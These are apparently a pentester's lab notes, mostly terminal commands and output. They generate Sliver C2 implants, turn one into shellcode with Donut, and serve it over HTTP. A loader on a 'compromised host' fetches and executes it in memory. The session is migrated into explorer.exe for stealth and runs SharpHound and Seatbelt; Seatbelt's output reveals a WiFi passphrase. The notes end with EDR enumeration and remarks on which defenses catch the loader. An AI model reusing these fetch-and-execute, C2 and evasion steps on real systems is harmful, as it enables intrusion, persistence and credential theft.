binloader
make payload
sliver > generate --mtls 192.168.1.41 --os windows --arch amd64 --format exe -G --skip-symbols -N lt-js_mtls -s ./Implants/lt-js_mtls.exe [*] Generating new windows/amd64 implant binary [!] Symbol obfuscation is disabled [*] Build completed in 2s [*] Implant saved to /home/puck/CRTP/Sliver/Implants/lt-js_mtls.exe
or make a beacon
[server] sliver (lt-js_mtls) > generate beacon --seconds 30 --jitter 3 --os windows --arch amd64 --format exe --http 192.168.1.41 --name lt-js-beacon_http --save ./Implants/lt-js-beacon.exe -G --skip-symbols [*] Generating new windows/amd64 beacon implant binary (30s) [!] Symbol obfuscation is disabled [*] Build completed in 2s [*] Implant saved to /home/puck/CRTP/Sliver/Implants/lt-js-beacon.exe
Donut the file
┌──(puck㉿kali)-[~/donut_v0.9.3]
└─$ cp ~/CRTP/Sliver/Implants/lt-js_mtls.exe .
┌──(puck㉿kali)-[~/donut_v0.9.3]
└─$ ./donut lt-js_mtls.exe
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "lt-js_mtls.exe"
[ Entropy : Random names + Encryption
[ File type : EXE
[ Target CPU : x86+amd64
[ AMSI/WDLP : continue
[ Shellcode : "loader.bin"
┌──(puck㉿kali)-[~/donut_v0.9.3]
Serve the donutted bin file
┌──(puck㉿kali)-[~/CRTP/Sliver/Implants] └─$ python3 -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... 192.168.1.136 - - [10/Dec/2025 11:06:25] "GET /loader.bin HTTP/1.1" 200 -
run binloader on compromised host
C:\PENTEST>BinLoader.exe 192.168.1.41 8080 loader.bin [+] Getting shellcode [+] Allocating memory [+] Executing... [+] Check for session!
get shell
┌──(puck㉿kali)-[~/CRTP/Sliver]
└─$ ./sliver-server
[*] Loaded 22 aliases from disk
[*] Loaded 152 extension(s) from disk
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain prowess
[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df - Dirty
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
[server] sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
[server] sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ====== ===============
1 mtls tcp 8888
[*] Session 562c15e0 lt-js_mtls - 192.168.1.58:10543 (puckie) - windows/amd64 - Wed, 10 Dec 2025 11:04:08 CET
[server] sliver > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ==================== ========== ========== ================== =========
562c15e0 mtls 192.168.1.58:10543 puckie puck windows/amd64 [ALIVE]
[server] sliver > use 562c15e0-c499-492e-a398-f72b3d536120
[*] Active session lt-js_mtls (562c15e0-c499-492e-a398-f72b3d536120)
[server] sliver (lt-js_mtls) > whoami
Logon ID: puckie\puck
[*] Current Token ID: puckie\puck
[server] sliver (lt-js_mtls) >
.
To stay stealthy, we can enumerate potential target processes and migrate to them. This will allow us to not only stay stealthy, but also get a stable session, if we choose a stable process such as explorer.exe
[server] sliver (lt-js-beacon_http) > interactive [*] Using beacon's active C2 endpoint: https://192.168.1.41 [*] Tasked beacon lt-js-beacon_http (da006c2c) [server] sliver (lt-js-beacon_http) > sessions [*] No sessions 🙁 [*] Session 284d88ed lt-js-beacon_http - 192.168.1.58:64741 (puckie) - windows/amd64 - Wed, 10 Dec 2025 15:49:06 CET [server] sliver (lt-js-beacon_http) > use 284d88ed-e0fb-4b8b-a588-05ecda851c43 [*] Active session lt-js-beacon_http (284d88ed-e0fb-4b8b-a588-05ecda851c43) [server] sliver (lt-js-beacon_http) > ps -e explorer.exe Pid Ppid Owner Arch Executable Session ====== ====== ============= ======== ============== ========= 4504 3108 puckie\puck x86_64 explorer.exe 1 ⚠️ Security Product(s): Windows Defender, Windows Smart Screen [server] sliver (lt-js-beacon_http) > migrate -p 4504 [*] Successfully migrated to 4504 [*] Beacon 61731968 lt-js-beacon_http - 192.168.1.58:64772 (puckie) - windows/amd64 - Wed, 10 Dec 2025 15:50:35 CET [server] sliver (lt-js-beacon_http) > whoami Logon ID: puckie\puck [*] Current Token ID: puckie\puck [server] sliver (lt-js-beacon_http) >
.
execute-assemblyfrom SliverC2-session
execute-assembly -p explorer.exe -t 80 /home/puck/CRTP/Sliver/SharpHound.exe –version
[server] sliver (lt-js_mtls) > execute-assembly -t 80 /home/puck/CRTP/Sliver/SharpHound.exe --version [*] Output: 2025-12-10T16:43:15.0018098+01:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound CommandLine 2.8.0 [server] sliver (lt-js_mtls) > execute-assembly -t 80 /home/puck/CRTP/Sliver/SharpHound.exe -- -c all [*] Output: 2025-12-10T16:46:31.4810118+01:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound 2025-12-10T16:46:31.6987274+01:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2025-12-10T16:46:31.8046398+01:00|INFORMATION|Initializing SharpHound at 16:46 on 10/12/2025 2025-12-10T16:46:32.0548776+01:00|ERROR|Unable to connect to LDAP, verify your credentials [server] sliver (lt-js_mtls) >
.
execute-assembly -p explorer.exe -t 80 /home/puck/CRTP/Sliver/Seatbelt.exe -group=System
[server] sliver (lt-js_mtls) > execute-assembly -p explorer.exe -t 80 /home/puck/CRTP/Sliver/Seatbelt.exe -group=System <snip> ====== UserRightAssignments ====== Must be an administrator to enumerate User Right Assignments ====== WifiProfile ====== Number of interfaces : 1 Number of profiles : 4 Profile : parkdezeegserduinen40 SSID : parkdezeegserduinen40 Interface : Intel(R) Wireless-AC 9560 160MHz State : Connected Authentication : WPA3SAE PassPrhase : Pdzd-000040 <snip>
.
.
D:\PENTEST>BinLoader.exe 192.168.1.41 8080 loader.bin
[+] Getting shellcode
[+] Allocating memory
[+] Executing...
[+] Check for session!
D:\PENTEST>enumedr
Usage: enumedr --edr
Options:
--processes List all the active processes on the system
--drivers List all the active drivers on the system
--edr List all the active processes and drivers of EDR's on the system
-h Display this help message.
D:\PENTEST>enumedr --edr
[i] EnumerateProcesses - Enumerating running processes
GetModuleHandleW - Received handle to ntdll.dll 0x00007FF82BC80000
GetProcAddress - Received address to NtQuerySystemInformation 0x00007FF82BDE2270
NtQuerySystemInformation - Retrieved size in bytes for the system information: 516800
HeapAlloc - Allocated 516800 bytes of memory for SystemProcessInformation at 0x000001D458680070
NtQuerySystemInformation - Retrieved size 516800 bytes of system process information at 0x000001D458680070
[+] EnumerateProcesses - Enumerated 299 processes
[i] EnumerateDrivers - Enumerating running drivers
GetModuleHandleW - Received handle to ntdll.dll 0x00007FF82BC80000
GetProcAddress - Received address to NtQuerySystemInformation 0x00007FF82BDE2270
NtQuerySystemInformation - Retrieved size in bytes for the SystemModuleInformation: 80224
HeapAlloc - Allocated 80224 bytes of memory for SystemModuleInformation at 0x000001D4586FE340
NtQuerySystemInformation - Retrieved 80224 bytes of SystemModuleInformation at 0x000001D4586FE340
[+] EnumerateDrivers - Enumerated 271 drivers
[i] DetectEDRs - Checking for EDR's
Name Type Component
------------------------------ ---------- ----------------------------------------
Microsoft Defender Antivirus Process MpDefenderCoreService.exe (PID: 7120)
Microsoft Defender Antivirus Process MsMpEng.exe (PID: 7456)
Microsoft Defender for Endpoint Process MsSense.exe (PID: 7652)
Microsoft Defender Antivirus Process NisSrv.exe (PID: 8724)
Microsoft Defender for Endpoint Process SenseTVM.exe (PID: 12060)
Microsoft Defender for Endpoint Process SenseNdr.exe (PID: 7464)
Microsoft Defender Antivirus Driver WdFilter.sys
Microsoft Defender for Endpoint Driver mssecflt.sys
[+] DetectEDRs - Finished looping through all processes and drivers
D:\PENTEST>
.
Binloader is working fine with only Defender ( but with MDE it’s detected and blocked )

.